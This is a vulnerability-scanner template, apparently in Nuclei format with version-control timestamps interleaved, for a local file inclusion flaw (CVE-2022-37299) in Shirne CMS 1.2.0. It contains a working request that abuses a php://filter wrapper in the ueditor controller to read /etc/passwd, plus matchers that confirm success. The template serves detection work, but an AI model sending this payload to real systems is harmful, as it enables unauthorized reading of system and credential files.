2022-09-09 19:15:18 +00:00
|
|
|
id: CVE-2022-37299
|
|
|
|
|
|
|
|
info:
|
2023-01-16 17:41:15 +00:00
|
|
|
name: Shirne CMS 1.2.0 - Local File Inclusion
|
2022-09-09 19:15:18 +00:00
|
|
|
author: pikpikcu
|
2022-09-12 11:03:25 +00:00
|
|
|
severity: medium
|
2023-01-16 17:41:15 +00:00
|
|
|
description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
|
2022-09-09 19:15:18 +00:00
|
|
|
reference:
|
|
|
|
- https://twitter.com/pikpikcu/status/1568316864690028544
|
|
|
|
- https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
|
2023-01-16 17:41:15 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-37299
|
2022-09-12 11:03:25 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 6.5
|
|
|
|
cve-id: CVE-2022-37299
|
|
|
|
cwe-id: CWE-22
|
2022-09-12 08:20:51 +00:00
|
|
|
metadata:
|
2022-09-12 11:03:25 +00:00
|
|
|
verified: "true"
|
2022-09-12 08:19:50 +00:00
|
|
|
tags: cve,cve2022,shirnecms,lfi
|
2022-09-09 19:15:18 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-09-12 08:23:02 +00:00
|
|
|
- type: word
|
2022-09-12 08:19:50 +00:00
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "cm9vd" # root in base64
|
|
|
|
|
2022-09-09 19:15:18 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2022-09-10 09:05:15 +00:00
|
|
|
- "image/png"
|
2022-09-09 19:15:18 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-01-16 17:41:15 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2023/01/15
|